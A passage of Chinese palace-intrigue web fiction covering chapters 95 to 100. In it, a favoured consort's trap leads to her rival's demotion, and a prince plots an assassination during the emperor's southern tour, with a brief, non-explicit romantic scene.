他四处张望着,显得十分着急,嘴里还嘟囔着:“这可如何是好,千万别丢了才是!” 找了一圈,终于发现纸条。 如获至宝般捡起,紧紧攥在手中,再次匆匆离去。 “娘娘!”思雨气喘吁吁地跑回芙蓉居。 岳容华正对着镜子梳妆,铜镜中,一张如花人面。 乍见思雨跑进来,皱着眉刚想呵斥,就听她说:“那姜嫔今晚果然耐不住寂寞!” “果真?!” 她将自己看到的,全都一五一十地告诉了岳容华。 听完,岳容华脸上浮现出得意的笑容,眼里闪过一丝狠厉。 咬牙切齿道:“哼,今晚子时过半,咱们就去玉笙轩抓个现行,让她在陛下面前辩无可辩,彻底失宠!” 而拿着纸条的小路子,则是从别苑后门出去之后,转而从别苑正门进入。 直接去往了贺云徽处理政务的文韵阁。 “陛下,这是姜嫔娘娘命奴才送来给您的。”小路子恭敬地双手奉上。 贺云徽挑了挑眉。 前天送了情书,今日又送情书? 结果一看,竟然是邀他晚上去玉笙轩? 玉笙轩又是什么地方? 经过福安提醒,他才想起来,是在秋水居不远处的院落。 越临近子时,姜舒月和岳容华这边心情就越是起伏不定。 不同于岳容华的激动,姜舒月则是有些紧张。 小路子和小方子已经提前去了玉笙轩布置。 今晚她不止要收网,还要给贺云徽来点不一样的刺激。 扶风和静玉在替她沐浴,擦拭干净后拿出一个白色罐子,从里面挖出白色的膏体。 小心翼翼地涂抹在姜舒月的身上。 待膏体全部吸收之后,取来一薄如蝉翼的鲛纱罗裙,颜色仿若春日初绽的桃花,娇艳而明媚。 那抹胸之处,以淡粉色的锦缎为底,却仅堪堪遮住胸前那一抹圆润,勾画出诱人的曲线。 两条纤细的肩带,同样由鲛纱制成,从肩头滑落。 窄窄的布条仅能勉强维系着上身衣物,仿佛稍一用力便会断裂。 隐约可见肩下那莹润如玉的肌肤,在鲛纱的半遮半掩下,更添几分朦胧的诱惑。 裙摆则是鱼尾的样式,从大腿中部开始逐渐散开。 行走间,白皙修长的美腿在鲛纱的遮掩下若隐若现,每迈出一步,都似在不经意间撩拨着人心。 全身除了对垂在耳畔的红玉耳坠,再无其他装饰。 举手投足间,尽显万种风情。 两个丫鬟都看呆了去。 看时间差不多了,姜舒月取来一件披风披在身上。 趁着夜色,去往玉笙轩。 贺云徽很是守时,几乎是刚到子时,他就已经迈入了玉笙轩的远门。 门口并无任何人守着,但是从窗户外能看到屋内烛火摇曳,光影幢幢。 贺云徽先一步踏入,后面跟着的福安和福禄却被紧随而来的明夏拉住了。 “诶~两位公公,”她神秘兮兮地捂着嘴,说悄悄话,“我家娘娘……您这会过去,可不好。” 她说一半露一半,福安了然于心。 露出跟明夏一样‘懂得都懂’的表情。 “咳,那咱家就……不进去了,”他笑眯眯地,“明夏姑娘,许久未曾来一把了,咱走着?” 明夏往里看了一眼,“行啊,静玉小路子,你们在这候着,主子们身边缺不了人。” 第96章 百口莫辩 安排妥当之后,带着福安福禄回到了秋水居。 这里扶风正在守着。 “扶风,快去把麻将摆上。今日与两位公公再好好切磋切磋。” 说着给扶风使了一个眼色。 扶风心领神会,“那今日我可得拿出我的看家本领了。” 几人笑嘻嘻地便开始搓牌。 另一边,贺云徽推开内室的门。 只见纱幔低垂,薄如轻雾,自梁间悬落,随风微漾。 屋内四角,置有香炉,袅袅香烟升腾而起,散出清幽而馥郁之香。 似有若无,撩拨人心。 掀开纱幔,就见姜舒月斜躺在榻上。 云鬓松松挽就,几率青丝垂落在颈边,语法衬得她肌肤胜雪。 见门扉轻动,美目流转间,一抹羞涩又期待的神色悄然爬上脸颊,娇声道:“郎君来了……” 贺云徽不自觉地滚动了下喉咙。 “郎君为何还不过来?” 她说着,从榻上起身,缓缓向贺云徽走来。 雪白修长的腿在鲛纱的遮掩下若隐若现。 那对垂在耳畔的红玉耳坠,随着她的动作轻轻晃动。 “郎君今日,可叫奴家好等……” 纤纤玉手抚上了贺云徽的胸口,如一只柔若无骨的猫儿般,依偎在他的怀里。 贺云徽大手一收,将人贴得更紧。 “是我该罚,”他低下头,轻咬着姜舒月的耳垂,“夫人想要如何,我都认罚。” 声音沉沉闷闷,带着些低低地喘息。 姜舒月紧咬着唇,双手攀上他的脖子。 眼神里带着明晃晃的勾引,没有说话,只是踮着脚,拿唇去蹭他的喉结。 蹭着蹭着,忽然轻轻一咬,还伸出舌头,舔了舔。 贺云徽身子一紧,旋即将人打横抱了起来。 走向床榻。 衣衫散落,他腰间的玉不经意的垂下。 凉意覆到裸露的肌肤上,引起姜舒月一震战栗。 在他的亲吻下呼吸急促,意识开始模糊,想要推动身上的人,却被他一把抓住手腕,举过头顶。 “夫人惹出来的火,怎么可以不灭了就想跑呢,嗯?” 感觉到他呼吸越来越热,她眼睛里水光粼粼,半是渴望半是哀求,声音都有些走调了。 子时半刻,小路子和静玉已经在门口待了一段时间,都以为今晚不会等来岳容华的时候。 就看到岳容华带领着一群人,气势汹汹地往玉笙轩走来。 “奴才/奴婢,见过岳容华娘娘。” 二人连忙过来行礼。 “这么晚了,你家娘娘还在外面不曾休憩?” 他俩对视一眼,磕磕绊绊地说:“娘娘今日有些疲倦,已在玉笙轩歇下了。” 岳容华冷笑一声,“是吗?不巧,今日我也想在这里休息。不知姜嫔妹妹可否介意?” 说着就抬脚往里走。 小路子和静玉赶忙阻拦,“岳容华娘娘,娘娘已经歇下了,您不可进去。” 而此时屋内却传出了一阵令人脸红心跳的声音。 “好哇!”岳容华柳眉倒竖,“今日陛下不曾召姜嫔侍寝,她如今却在这里和人私会。” “简直胆大包天!” 她说罢,用力将静玉推倒至地上,“来人,将门打开。” 屋外的嘈杂早已被屋内二人听见。 这动静也被秋水居里打牌的几人听见了。 “什么事情如此喧闹?”福禄一边说,一边摸牌,“二饼。” 福安右眼皮子这会狂跳,“不对,好像出事了。” “今日先到这吧,改日再战,”福明拿起拂尘,“福禄,走。” 他脚下生风,福禄忙不迭地跟着跑起来。 明夏和扶风对视一眼,紧跟着去了。 玉笙轩门口此时已经聚集了不少看热闹的宫人。 等福安两人赶到门口,恰好岳容华正指使宫人,将主屋门撞开。 “嘭”地一声,门被大力推开。 福安脸色大变,“糟了!” 屋内烛光闪烁,岳容华一眼便瞧见床榻之上相拥的两人。 “啊!”姜舒月惊呼一声,小声地叫了一句:“陛下~” 贺云徽拍拍她的肩膀,伸手拉过薄衾,盖住二人的身体。 只是纱幔遮住了视线,她瞧得并不真切。 但已然认定了,这便是姜舒月信中所写的:情郎。 心中一阵狂喜,大声喊道:“好你个贱人,竟敢背着陛下做出这等伤风败俗之事!今日看你还有何话说!” “我倒要看看,你这奸夫是何人,竟敢和宫妃私通!” 言罢,她几步上前,伸手便去扯那男人。 面前再无遮挡,那男子转过脸来,岳容华瞬间如遭雷击。 瞪大了双眼,满脸的不可置信,下意识地后退几步,结结巴巴道:“陛、陛下,怎么会是您……” 院外一群人探头探脑,福禄挥手,“还围在这里干什么,都不要命了?!” 宫人立刻作鸟兽散。 福安见此,自知无力挽回,只得跪在门口,“奴才失职,请陛下恕罪。” 贺云徽面色一沉,“岳容华,你夜半来,就是为了观朕的床笫之私?” 帝王声线浸着情欲未消的暗哑,目光却如寒冰般刺向她。 岳容华脸色瞬间变得惨白如纸,双腿一软,“扑通” 一声跪倒在地,声音颤抖地说道:“陛下…… 嫔妾…… 嫔妾不知陛下在此,多…… 多有冒犯,求陛下恕罪!” 姜舒月佯装委屈,嘤嘤哭泣,“陛下,嫔妾不知什么时候得罪了容华姐姐,竟让姐姐用这般恶毒的法子来污蔑嫔妾……” 她哭得梨花带雨,“若不是陛下在此,嫔妾真是,百口莫辩了!” 说完她伏在贺云徽肩膀上,哭得更伤心了。 贺云徽轻抚她的后背,冷冷地看着岳容华,“不是朕,还会是谁?朕看你才是无法无天了!” 岳容华连连磕头,哭喊道:“陛下恕罪啊!对,对了!嫔妾、嫔妾有姜嫔与人私通的证据,今日她约了那情郎在此相会,才会、才会带人前来,嫔妾不知为何变成您了,求陛下饶命!” 仿佛是怕他不信,岳容华将怀里揣着的情书,和那日捡到的手帕拿了出来。 贺云徽撇了福安一眼,他浑身一抖,站起来快步过来将岳容华手里的东西接过,恭敬地递给了贺云徽。 他微微挑眉,接过信笺,展开一看,上面果然是一封情书。 上面写的诗句,和前日他收到的姜舒月的那封一模一样。 只是字迹完全不同。 还有帕子,材质只是一般的丝绸帕子,并无任何特殊。 想到那天晚上,姜舒月的丫鬟在找的帕子…… 难道是这条? 见贺云徽看了信,岳容华又说:“这信是嫔妾的丫鬟洛云,无意间得到的。她亲眼所见,这信是出自姜嫔之手。” “还有这帕子,是和这信笺一起送给奸夫的!” 洛云连忙应和,“陛下,确实如此。奴婢还亲眼所见,姜嫔娘娘前两日夜里,和一陌生男子,从后墙翻出。” 门外扶风看得清楚,这明明是自己那天那条被洛云捡走的帕子。 “陛下,她胡说!这帕子明明是奴婢的,那天晚上用完膳,回来的路上帕子就不见了。奴婢找了许久都未曾找到,哪曾想被她捡去,还诬陷这是娘娘送给……实在太荒谬了!” 静玉和小路子也跪在门口,闻言大声反驳,“你血口喷人!” 姜舒月适时地揪了一下贺云徽腰间的软肉。 贺云徽面不改色,在被子下面握住了她的手。 “哦?那你说说,那男子是谁?” 洛云哼了一下,“这是奴婢亲眼所见,奴婢敢以性命起誓!如果不是,那为何半夜有人夜闯秋水居,你们都是姜嫔的人,说的话如何做得了数,分明是和姜嫔一起,蓄意蒙蔽陛下!” 明夏此时才明白过来,原来陛下带着娘娘出去,被人发现了。 这事情其他人原先也是不知情的,为了防止陛下半夜再带娘娘出去没人知道,闹出什么乱子,所以今早明夏就已经跟众人说了此事。 但是也还是因为被人诬陷,而产生了一些火气。 双方你来我往,在玉笙轩里吵闹不止。 “姜嫔做出这等伤风败俗之事,嫔妾怎能坐视不理,您不能听信她的一面之词,求陛下明鉴啊!” 岳容华眼中满是怨毒,死死盯着躲在贺云徽身后的姜舒月,仿佛要将她生吞活剥。 贺云徽听闻,冷笑一声,神色愈发冷峻。 “呵。” 第97章 降位 良久,贺云徽冷笑了一声,顿时所有人都像是被掐住了脖子。 “你这丫鬟倒是好眼力。可你有没有想过,那男子根本不是什么奸夫,而是朕?” 他下颌绷紧,显而易见地极力在忍着什么,“难不成,你想说,和姜嫔偷情之人,是朕吗?” 岳容华瞪大了眼睛,满脸的难以置信:“陛下,您这话是什么意思?您……您怎能为了袒护她,说出这般话来?嫔妾不信,绝不可能!” 看着她执迷不悟的模样,贺云徽心中厌恶更甚,缓缓说道:“朕乃堂堂一国之君,岂会说谎!” “你不信?双星节当晚,朕便是从秋水居后窗将她带出,直至三更之后才回;昨日朕带她泛舟于江上,这些事,你那丫鬟可曾瞧见?可曾与你说过?” “朕念你可能是受人蒙蔽,本不欲与你计较,你却执迷不悟,还敢在此胡搅蛮缠!” “难不成就是因为朕对她好,带着她避开众人出去散心,也成了她的罪名?” “怎么会……怎么会这样……”岳容华喃喃自语,眼神空洞,此刻她才如梦初醒,原来这一切竟是白费功夫。 “是你!一定是你!”突然她从地上猛地站起来,想要冲过来抓向姜舒月。 福安眼疾手快,一把将人拉住,“陛下小心!” 贺云徽的脸色彻底黑了下来,“岳容华你放肆!” 目光如刀般射向岳容华,冷冷道:“福安,拿纸笔来!岳容华,你蓄意陷害,扰乱宫闱,还敢在朕面前动手,怎么,你是想要弑君吗?” 福安忙叫了福禄去准备,心里也摇摇头,岳容华算是到头了。 洛云咬牙,“陛下,陛下,这一切都是奴婢的主意,是奴婢不满姜嫔娘娘独宠,是奴婢策划了一切,您要罚就罚奴婢吧陛下!” 岳容华看着洛云,“洛云……” 贺云徽写字的手一顿,眸光微闪,看向了跪在地上磕头的丫鬟。 “自打姜嫔娘娘进宫以来,陛下就再也没有来见过岳容华娘娘。那日看到姜嫔娘娘被人带出秋水居,奴婢本以为姜嫔娘娘与人私通,这才想要顺水推舟揭发姜嫔娘娘。这事和岳容华娘娘没有任何关系,娘娘她根本不知道奴婢的打算,请陛下明察!” 她不住地磕头,咚咚咚声震得整间屋子好似都在响。 让人听着都心惊。 很快,她的额头上就磕出了血,鲜血顺着她的额头流下。 贺云徽居高临下地看她,任何人都不敢替她求情。 福安也叹了口气,早知如此又何必当初呢? 岳容华眼睛都红了,指尖紧紧掐住掌心。 思雨在她旁边拽了拽她的衣袖。 她咬着唇,眼里的不甘和恐惧快要溢出。 最后深呼吸一口气,看向贺云徽。 “陛下明察,嫔妾确实不知此事,嫔妾也是被这……被这贱婢所蒙蔽。嫔妾一向循规蹈矩,不敢做出这等无耻行径。” 贺云徽勾了勾唇,似是有些嘲讽。 很快又拿起笔,写完就将纸扔给福安, “容华岳氏自入宫闱,朕待之不薄。然近来德行有亏,行为乖张,搬弄是非,诬陷他人,即刻起降为答应,即刻送返宫中,幽居栖云阁,闭门思过。” 岳容华听闻,如遭五雷轰顶,整个人瞬间崩溃。 连滚带爬地扑到贺云徽脚边,涕泪横流,死死抱住他的腿,哭喊道:“陛下,嫔妾知错了!嫔妾真的知错了啊!求嫔妾开恩,饶过嫔妾这一次吧!嫔妾不该轻信他人,污蔑姜嫔,都是嫔妾猪油蒙了心!求陛下不要将嫔妾送回宫去,让嫔妾留在陛下身边伺候您啊……” 她哭得声嘶力竭。 “朕心意已决,断不会更改。” 岳容华,不,现在是岳答应了。 见对贺云徽求情无用,转而对着姜舒月磕头,哭求道:“姐姐,您大人有大量,求求您帮妾身说说好话吧!妾身真的知道错了,以后再也不敢了……” “福安!”贺云徽心中不耐,“立刻安排车马,将岳答应送回宫去,一路上不得有丝毫懈怠。若有差池,唯你是问!” 福安赶忙应下,对着门外招手,立刻有几个太监进来,将岳答应拉开。 岳答应仍在拼命挣扎、求饶,声音在夜色中逐渐远去。 “明日你自去领十杖。”贺云徽又淡淡说了一句。 福安一颤,这一遭还是没逃过,“是,奴才领旨。” 说着便退了出去,着手安排送岳答应回京都的事情。 剩下的人,也都陆续地退了出去。 贺云徽回身看向姜舒月,见她一脸的茫然。 “不是处置了她,为何还不高兴?” 说着在她身边坐下,姜舒月往里挪了挪,给他让点位置。 而后抬起头,“陛下,为何岳容,岳答应要这样?” 他眼神闪过一丝尴尬,“是朕的问题,若不是因为朕,也不至于让你陷于这种境地。” 他也没有想到,自己一时兴起会造成这样的情况。 只是被人这么一扰,两人也没了兴致。 【叮——恭喜宿主完成任务,奖励100积分,剩余积分:745。】 耶斯,有惊无险又得积分。 “什么?!岳容华被降位送走了?” 一大早上醒来,尹宝林差点呛到。 手中的杯子也不小心的撞翻在地,杯子里的水洒了一地。 “还不快过来收拾了!”豆蔻朝莲心说着,真是越来越没有眼力见了。 豆蔻点点头,凑近尹宝林将自己打听到的事情说出:“千真万确娘娘,底下人传得厉害。奴婢打听了一下,说是昨晚岳答应不知做了什么,好似跟姜嫔有关,陛下发了好大一通脾气,然后就被降位了,这会福明公公正盯着收拾东西呢,马上就要被送走了。” 姜嫔,姜舒月? “又跟她有关系?”尹宝林暗暗吃惊,“姜舒月这人,好像有点邪门。” 从她进宫以来,跟她对上的人,从来都没有好下场。 王常在何御女被赐死。抄家流放。 淑妃被禁足,岳答应被降位。 这一晚上过去,那青楼出身的霜贵人还没解决,这岳答应就把自己整回了宫。 豆蔻点头,“可说呢,况且她这位份也是升得快。” “她该不会是……”豆蔻突然压低了声音,“该不会是会什么邪术吧?” 豆蔻无意中倒是说对了一件事,虽然姜舒月没有邪术,但是系统之于她也相当于是邪术了。 尹宝林突然身上起了一身鸡皮疙瘩,“之前我那么针对她,她不会对我做什么吧?” 豆蔻也打了个寒颤,但还是安慰她,“娘娘您龙气护体,闲杂邪祟自是不能近身的。” 所有人都在对岳答应降位这件事情议论不止。 姜婉清听了冬雪的回禀,她笑了笑,镜中之人也笑了笑。 “你看,本宫这妹妹,切开来里面也是黑的。” 冬雪有些担心,姜舒月太有心计了,对自家娘娘来说,不是什么好事。 陛下的宠爱好说,但是这又得宠又有心计,等到以后她位份高起来,必然很难对付。 “再如何,她也是姜家的女儿。在后宫之中,只有陛下的恩宠还不行,就必须要有家族的支持,才能长盛不衰。” 姜婉清簪上最后一支金钗,“何况她姨娘还在姜府,何愁她不乖乖听话。” 第98章 水土不服 “娘娘,岳答应已经上了马车送走了。” 小方子早就在别苑门口等着,看着岳答应被人架着送上了马车。 还能听见她不停咒骂着。 被降了位还如此不知收敛。 就算日后复宠,也不会是自家娘娘的对手。 姜舒月点点头,送走了也好,省的一天到晚想些计谋来害自己。 在别院又住了两日,贺云徽终于决定第六日的时候启航继续南下。 “王咏思,见你治下百姓安居,诸事井然,实乃一方之幸。” 贺云徽坐在上首,“若此后你能持续奉公勤勉,确保地方安宁、民生富足,待朕还朝,必有擢升之赏。届时,你当担起更重之责,切不可辜负朕的厚望。” 王咏思努力了这么久,为的就是皇帝的一个承诺。 激动之情溢于言表,当即“扑通”一声跪地,身子俯得极低,额头几乎触碰到地面。 声音微微颤抖,“臣自当铭记陛下教诲,此后,臣定当殚精竭虑,以百倍之勤勉定不辜负陛下的殷切期望。愿吾皇万岁万岁万万岁!” 说罢,重重地磕了三个响头。 虽然此人言行之间尽是马屁,但贺云徽正是用人之际,这点瑕疵,可以忍受。 下一站,便是姑苏了。 百姓们不知道从哪里得知的,今日皇帝一行人要离开。 又把码头前后围了一个水泄不通。 船队继续南下。 荔平郡距离姑苏已经很近了,故而这次只在船上呆了三天。 第四天就晃晃悠悠地准备靠岸了。 “呕——” 这已经是姜舒月吐的第三次了。 明夏狂喜,心想娘娘侍寝这么久,终于有好消息了。 但是给姜舒月把了脉之后,才发现只是水土不服。 她不甘心,转头又去拉了胡太医过来。 “娘、娘娘,请您伸出手。”胡太医被明夏拉过来,气都还没喘匀。 姜舒月捂住心口,脸色难看。 缓了好些时候,才缓过劲来。 “陛下。”福明听了小太监的回禀,立刻转身进入书房。 福安上次领了罚,如今还在后面养伤。 这两日在贺云徽面前伺候的,就成了福禄福明。 幸好之前两个徒弟都跟在他身边一同伺候贺云徽,不至于临时麻爪。 “姜嫔娘娘今日呕吐不止,已经传了太医过去。” 贺云徽放下毛笔,站起身撩起衣摆就向外走。 “可知道因为什么?” 呕吐,难不成…… 想到这个可能,贺云徽脚步更快了。 “未曾,太医也是刚到,”福明小跑着跟上,“奴才也是刚得的消息。” 贺云徽脚长,没一会就到了姜舒月的房间。 “参见陛下。”几个宫人见到贺云徽立刻下跪行礼。 “起来吧,”他迈入门内,看着姜舒月脸色苍白地靠在榻上,“姜嫔身体如何?” 姜舒月刚要起来行礼,就被贺云徽制止。 “陛下怎的来了。”她捂着嘴巴,一股翻涌的恶心又涌了上来。 扶风见状将,立刻将痰盂递给姜舒月。 等她吐完,脸色更加苍白了。 “朕听你这里叫了太医,担心你,胡太医如何?”贺云徽扶着她,忙问太医。 胡太医躬身回道:“陛下娘娘请宽心,娘娘并无大碍,只是初来这苏州,水土不服所致。” 贺云徽眉头紧蹙,“水土不服?这坐船也有些时日了,为何突然发作?” 胡太医赶忙解释:“回陛下,水土不服之症,有时并非即刻显现,许是近日许是劳累或是受了些风寒,这才引发出来。” 他点头,神色稍缓,想到另一件事,“只是水土不服?” 胡太医哽住,有点拿不准贺云徽问这句话的意思。 “这,老臣已为姜嫔娘娘仔细诊过脉,并无发现其他病症。” 贺云徽心道:原来并不是有孕。 但是看到姜舒月苍白的脸,满眼的心疼。 这只是呕吐就这样了,将来真的怀孕了又不知会如何难受了。 “呕——”姜舒月又泛起一阵恶心。 贺云徽连忙给她拍背顺气。 “姜嫔如此难受,可有办法解决?”他眉头皱得都能夹死一只苍蝇了。 “老臣这就开几剂调理脾胃、舒缓气血的方子,娘娘按时煎服。” 说罢,便退到一旁的桌案前,研墨铺纸,提笔写下药方,又反复核对无误后,呈与贺云徽过目。 “平日里饮食也需多加注意,可多食用写易于克化的食物,再配上适当的调养,不出几日,娘娘身体便可大安。” 姜舒月喘了口气,“有劳胡太医。” 胡太医忙不迭地应道:“娘娘言重了,为娘娘诊治,乃老臣分内之事,老臣定当竭尽全力。” 贺云徽亲自去倒了杯温茶,就着他的手,让姜舒月漱口。 想起上船前,自己还笑话方静姝。 现在就轮到自己了。 “好些了吗?”他坐在姜舒月身后,让她靠在自己怀里。 姜舒月吐得昏天黑地,眼泪汪汪的。 “再过不久就下船了,到了行宫好好休息,”贺云徽摸摸她的脸蛋,“等你好了朕就带你出去游玩,可好?” “陛下,嫔妾不是小孩子了,”她嗔道,“您怎么每次都拿哄小孩这套来哄嫔妾?” “朕带你出去玩还不好?”贺云徽捏了捏她的脸,“别人求朕,朕都不带。” “那嫔妾就先谢过陛下啦。”姜舒月赖在他怀中,晃了晃身体。 过了一阵,明夏端着煎好的药,拿着蜜饯进了内室。 姜舒月一下子脸就苦了起来。 “娘娘,该喝药了。” “不准不喝。”贺云徽看她眼珠子乱转,马上补了一句。 “哦。” 大佬盯着,姜舒月只能捏着鼻子喝光了药。 明夏立刻递上蜜饯给她。 姜舒月内心叹息,自己真是要变成药罐子了。 端王随着贺云徽南下的路线悄悄跟在后面。 自从如霜被贺云徽收下之后,第一次收到贺云徽身边的暗桩发来的密信。 眉头紧锁,盯着手中的密信,脸上满是狐疑之色。 他身旁的跟着的,正是上次替他杀人灭口的周公公,他眯着眼睛,神色凝重地思索着。 “如霜当真如此受宠?竟能与他一同出入?” 周公公缓缓说道:“王爷,或许这是个机会。” “继续。” “如霜既然深得皇帝信任,咱们正好可以从她那里,套取皇帝在姑苏城行宫的消息,如此一来,刺杀计划便更有把握。” 端王思索片刻后,点头。 “你说得有理。只是,如霜如今跟了贺云徽,享受到了荣华富贵,本王怕她……” 周公公嘴角勾起一抹冷笑,“王爷放心,如霜本就是咱们的人。为保万无一失,咱们不妨再派人暗中盯着如霜,一旦发现她有异动,立刻灭口。” “再者,咱们再许她重利,事成之后,保她荣华富贵,她岂会不动心?” “届时她在行宫有所动作,必定引发混乱,咱们便可趁机里应外合,” “即便她不配合,咱们也不过是暴露了如霜这颗棋子而已,并无太大损失。但若是她配合,那便是天赐良机。” “好,就如你所言,”端王眼中透出一丝阴冷的笑意。 “即刻再飞鸽传书给如霜,务必让她知晓,事成之后,荣华富贵享之不尽,否则,本王定让她求生不得求死不能!” 周公公领命,正欲退下,端王有突然开口:“此事务必小心谨慎,若是走漏半点风声,你我都将万劫不复。” 他立刻恭敬道:“王爷放心,属下必定办妥。”说罢,悄然退去。 端王目光再次落在桌上的密报上,仿佛看到了贺云徽倒在血泊之中,自己登上皇位的场景,嘴角不禁泛起一丝得意的笑容。 “母妃,您等着看,皇儿定会登上那个位置!” 第99章 僭越之举 自古以来都有句古话:上有天堂,下有苏杭。 苏杭两州更是文人墨客所钟爱之地。 只有真的来到这个地方的人,才能知道,原来真正的美景是无法用文字来形容的。 南巡的队伍在百姓的瞩目中,又缓缓靠岸。 除了被送走的岳答应,和一直跟在贺云徽身边的霜贵人,剩下的妃嫔都已经在甲板上等候贺云徽。 一群带刀侍卫拥护着,中间站着的贺云徽身形颀长,身穿青色锦服,临立风中,衣袂翻飞,丰姿如玉,仿若天人。 那新晋的霜贵人,如同传闻中的一般,与年轻俊美的帝王形影不离。 尹宝林恨恨地盯着站在他后面的霜贵人。 眼神恨不得要吃了她。 淡月此刻正安安静静站在贺云徽身后,察觉到尹宝林的视线,抬眸看了她一眼。 随后又垂下眸来。 贺云徽抽空看了一眼姜舒月,见她脸色好看多了,心里放心不少。 “吾皇万岁万岁万万岁!” 万民朝拜,空前绝后。 姜舒月跟在贺云徽身后下船,也受了万民的朝拜。 苏州城的行宫还是先皇在位时兴建的。 先皇也不过才来过两次。 江南园林的设计,虽比不上京都皇宫巍峨壮丽,却也精致典雅,处处透着江南水乡的灵秀之气。 行宫的院落多,姜婉清和兰昭容商量了一番,便决定让随行的妃子们自己挑住处。 省的安排下去,这个不满,那个不愿的。 姜舒月想着远离人群,就挑了一处毕竟清幽的院落。 名叫海棠苑,院子里种了许多的海棠树。 风一吹,满院子都是海棠花香。 姜舒月很是喜欢。 本想着终于可以好好休息,却听外面小方子回禀:尹宝林和那霜贵人起了争执。 又听说姜婉清和兰昭容都去了,姜舒月也只能前去看看,发生了什么。 尹宝林如今已经快怀孕四个月了,小腹已经有些凸起。 只是现在她习惯于穿宽松的衣服,所以不太显怀。 豆蔻扶着她,站在院门口打量着。 原本她选了另一处琉璃轩,算是整个行宫院落比较大的院子。 但是搬东西的时候,她看到那霜贵人一行人正往紫烟阁的方向去。 紫烟阁方才她也看过,不算太大,但胜在景色雅致。 加上她又对霜贵人处处不满。 忽然就觉得自己选的琉璃轩不合心意了。 想着她便朝着紫烟阁走去。 隔了一段距离,也无法忽视霜贵人的美貌。 肌肤莹白胜雪,细腻如脂玉。眉若春山含黛,双眸似星般灵动,流转间风情万种。 只是霜贵人如今位份比她高,规矩在那,就算尹宝林心里再怎么怄,也只能捏着鼻子给她行礼。 “妾身见过霜贵人。” 淡月回头看,见是尹宝林,神色淡然地点了点头。 “霜贵人这紫烟阁看着倒是十分雅致。” 尹宝林站在院门口打量着,心里越发对这里满意的不行。 她冷冷地瞥了尹宝林一眼,并未搭话,自顾自地指挥着宫女整理行李,对尹宝林视若无睹。 尹宝林哽住,“妾身此番前来,是想跟霜贵人换一下住处。” 她见这人这般无视自己,只能说出自己的来意。 “这里我已经选好了,尹宝林可再选其他院子。” 又转回去继续看着宫人整理行李。 尹宝林自觉自己也算是对她客客气气的,谁知这人竟如此不识好歹。 伸手便想去拉她的衣袖,嘴里嚷嚷道:“妾身如今怀有身孕,这里景色雅致,适宜妾身养胎。” 淡月侧身一闪,轻易躲开了尹宝林的手,依旧面无表情。 “发生了何事?”姜婉清和兰昭容适时赶来。 尹宝林瞬间换了一副表情,眼泪很快蓄满眼眶,“妾身见过婉妃娘娘、兰昭容娘娘。” “妾身如今身怀皇嗣,想着这紫烟阁布置雅致,适合养胎,想要跟霜贵人换一下,谁知……” “见过几位娘娘。” 淡月看这人变脸速度这么快,心里也惊叹不已。 难道后宫生存的女人,都会这一套? “本宫记得,你已经先选了琉璃轩了。”姜婉清有些不耐,这尹宝林为何每次都要搞出一些事? 兰昭容四处观察了一番,才开口道:“紫烟阁日照太足了,你若是住进去,怕是容易中了暑气。” 姜舒月此时也到达了吃瓜现场。 尹宝林在别的事情上可能脑子不够用,但是在挟肚子以令众妃这件事情上,倒是无师自通。 但是她却没想到,眼前的霜贵人,其实只是一个不通人情世故的暗卫。 所以她这一招,对上霜贵人,一点用都没有。 “尹宝林,我已经说的很清楚了,这里我已经选了,请你再去看别的院子。你最好自重,莫要自讨没趣。” 果然,被她十分果断的拒绝了。 说罢,给几个位份比她高的妃子行了个礼,抬脚就走。 姜舒月心里暗暗偷笑,本来尹宝林位份不如霜贵人,要求她换住处,已经是僭越了。 “你!”尹宝林手指颤抖地指着她。 “行了!”姜婉清出声打断她,“院子那么多,为何非要和人相争?” “若是觉得布置不够合你心意,回头缺了什么差人来找本宫,莫要为了这些小事和姐妹们闹得不愉快。” 姜婉清说完之后,便和兰昭容相携而去,姜舒月也不想单独留下,省的尹宝林一会把枪口对准自己。 原本热闹的紫烟阁门口,瞬间就只剩下了尹宝林主仆二人。 尹宝林见此,也没办法再说些什么,只能在原地跺了下脚。 豆蔻生怕她动了胎气,赶忙上前,轻声劝道:“娘娘,您消消气,别气坏了身子。” “这如霜贵人如今位份比咱们高,她不愿换我们也是无法。奴婢看琉璃轩已是不错。” 尹宝林一把甩开她的手,恶狠狠地说道:“哼!不就是个靠狐媚手段上位的贱人,有什么了不起的!等哪天陛下厌弃了她,看她怎么死!” 姜舒月没有马上回到海棠苑,而是搭着扶风的手,慢慢在这苏州的行宫内欣赏风景。 心里想着系统这次给的任务。 端王想要刺杀贺云徽,前面这段行程一直都没有听到任何系统的预警。 如今队伍已经到了这次南巡最重要的一站地。 贺云徽会在苏州这里待上一个月左右,体察民情,如果她是端王,可能会选在这里进行刺杀。 可能是想得太入神了,姜舒月进到屋子里,直直撞近了一个充满龙涎香气味的怀抱。 身体没站稳,踉跄了一下,抬头一看,正是贺云徽。 贺云徽伸出手,把她一把搂住。 “陛下,”她顺势投入贺云徽的怀抱,“今日已经忙完了吗?” “想什么想这么入神?”贺云徽刚见完苏州的官吏,还想着姜舒月水土不服,忙完之后便立刻来见她。 “现在可还难受?” 姜舒月埋头在他怀里,摇摇头。 突然感觉头上一重,伸手一摸,好像是贺云徽在她头上插了一根发簪。 她拿下来一看,是一根沉香木的发簪。 木质细腻,有股隐隐的沉香味传来。 上面刻着的,是盛开的海棠花。 层层叠叠的花瓣栩栩如生。 “送你的。”他假装若无其事的说,手指心虚地藏在身后。 姜舒月注意到他的动作,拉过他的手。 发现上面有些伤口,“陛下,您受伤了?!” 第100章 借刀杀人 他摸摸鼻子,并不打算告诉姜舒月,这根簪子,是他从上船起就开始雕了。 期间不知道雕坏了多少根,才得到了这一根堪称完美的发簪。 “无事,”他抽回手,拿起簪子重新簪上她的发髻,“可喜欢?” 姜舒月立刻跑去照镜子。 木簪虽然不如金钗玉簪那般贵重,但胜在是贺云徽亲手雕刻的,意义不同。 她回头灿然一笑,“嫔妾很喜欢!谢陛下!” 贺云徽被她感染,也笑了起来。 她心情好,扑到贺云徽怀里,将自己娇艳欲滴的唇,贴在了他的脸上。 只亲了下,便松开了他。 离开得太快,怀里只剩了一抹幽香。 贺云徽摩挲了下手指,转头又看了一眼海棠苑。 “怎么选了这里?”他有意想让姜舒月离自己近一些,“前头几座院子不合心意?” 姜舒月没想那么多,“这里海棠花开得好,嫔妾看着喜欢。” 随后好像想到他为什么这么问,笑嘻嘻地又凑过来。 “陛下莫不是想让嫔妾离您近一些?” 红唇在他眼前一张一合地,无端地勾人。 “月儿喜欢这里,那就在这里住吧。”却是没有直接回答她的问题。 伸手又把人揽在怀里。 “明日江南这边的官吏夫人们举办接风宴,你身体不适,就留下吧?” 